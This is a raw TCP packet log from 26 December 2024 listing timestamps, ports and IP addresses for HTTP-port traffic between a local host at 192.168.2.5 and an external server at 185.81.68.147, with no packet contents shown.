Dec 26, 2024 12:05:18.248270035 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.248305082 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.248311043 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.248322964 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.248333931 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.248349905 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.248369932 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.248639107 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.248651981 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.248775005 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.369504929 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.369524002 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.369610071 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.372200966 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.373714924 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.459783077 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.459836006 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.459842920 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.459897995 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.464026928 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.464098930 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.464193106 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.472292900 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.472389936 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.472414970 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.472429037 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.480711937 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.480849981 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.480897903 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.489072084 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.489248037 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.489336967 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.497447968 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.497632027 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.497729063 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.505757093 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.505846977 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.505901098 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.514177084 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.514240026 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.514280081 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.514338970 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.522236109 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.522342920 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.522366047 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.522377968 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.530127048 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.530222893 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.530543089 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.538126945 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.538204908 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.538347960 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.580338001 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.580375910 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.580490112 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.670706034 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.670784950 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.671124935 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.673281908 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.673425913 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.673512936 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.678685904 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.678711891 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.678797007 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.683703899 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.683811903 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.683918953 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.688904047 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.688952923 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.689059019 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.689059019 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.694178104 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.694340944 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.694379091 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.694379091 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.699440956 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.699580908 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.699585915 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.699733973 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.705060005 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.705193043 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.705209970 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.705243111 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.710314989 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.710391045 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.710413933 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.710532904 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.715347052 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.715394020 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.715454102 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.718930006 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.719023943 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.719077110 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.722630024 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.722713947 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.722803116 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.726272106 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.726391077 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.726454020 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.729984999 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.730118036 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.730135918 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.730261087 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.733684063 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.733778000 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.733930111 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.737399101 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.737509966 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.737575054 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.740955114 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.741074085 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.741172075 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.881247997 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.881361961 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.881436110 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.882775068 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.882929087 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.883044004 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.886073112 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.886118889 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.886275053 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.886275053 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.889395952 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.889528990 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.889534950 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.889739037 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.892680883 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.892760992 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.892864943 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.893980980 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.896019936 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.896095991 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.896125078 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.898258924 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.899331093 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.899425030 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.899462938 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.899504900 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.902652979 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.902717113 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.902786016 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.907042027 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.907180071 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.907325029 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.910028934 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.910084009 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.910093069 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.910134077 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.912910938 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.913073063 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.913167000 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.915854931 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.915963888 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.916059017 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.919153929 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.919250011 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.919307947 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.922570944 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.922730923 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.922851086 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.925842047 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.925966024 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.925995111 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.926038980 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.929150105 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.929189920 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.929218054 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.929253101 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.932375908 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.932550907 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.932611942 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.935781002 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.935915947 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.935988903 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.939013004 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.939088106 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.939162970 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.939604044 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.942327023 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.942395926 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.942404985 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.942451000 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.945833921 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.946079969 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.946144104 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.949949980 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.950141907 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.950207949 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.953239918 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.953300953 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.953319073 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.953351021 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.957799911 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.957817078 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.957878113 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.959144115 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.959337950 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.959467888 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.962419033 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.962441921 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.962486982 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.965794086 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.965972900 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.966156960 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:18.968753099 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:18.968868971 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.091679096 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.091715097 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.091739893 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.091804028 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.092914104 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.092978954 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.093010902 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.093070030 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.095614910 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.095787048 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.096600056 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.096647978 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.096663952 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.096790075 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.099118948 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.099205971 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.099221945 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.099277973 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.101813078 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.101855993 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.101908922 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.101949930 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.104394913 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.104490995 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.104532957 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.104532957 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.107218981 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.107286930 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.107345104 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.109800100 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.109945059 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.110002041 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.112461090 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.112586975 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.112634897 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.112634897 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.114981890 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.115044117 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.115076065 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.115220070 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.117600918 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.117786884 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.117826939 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.117826939 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.120259047 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.120341063 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.120373011 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.120414972 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.122920990 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.122972012 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.123022079 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.123022079 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.125601053 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.125658989 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.125730991 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.128175020 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.128288984 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.128326893 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.128326893 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.131125927 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.131210089 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.131232023 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.131337881 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.133510113 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.133572102 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.133600950 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.133641005 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.136121988 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.136229038 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.136295080 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.136332989 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.138748884 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.138864994 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.138974905 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.141513109 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.141659021 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.141752005 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.141993999 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.143989086 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.144032001 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.144114017 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.144114017 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.146653891 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.146786928 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.146881104 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.148505926 CET	80	49717	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.148734093 CET	80	49717	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.148802042 CET	49717	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.149411917 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.149425983 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.149460077 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.149631977 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.152117968 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.152185917 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.152192116 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.152236938 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.154675007 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.154807091 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.154854059 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.157594919 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.157666922 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.157670021 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.157711029 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.159965992 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.160053968 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.160113096 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.160113096 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.162569046 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.162657022 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.162662983 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.162904978 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.165096998 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.165174007 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.165194035 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.165327072 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.167777061 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.167866945 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.167886972 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.167931080 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.170388937 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.170494080 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.170623064 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.170705080 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.172996044 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.173147917 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.173151016 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.173208952 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.175826073 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.175879002 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.175957918 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.176013947 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.176832914 CET	49717	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.178359032 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.178442001 CET	80	49716	185.81.68.147	192.168.2.5
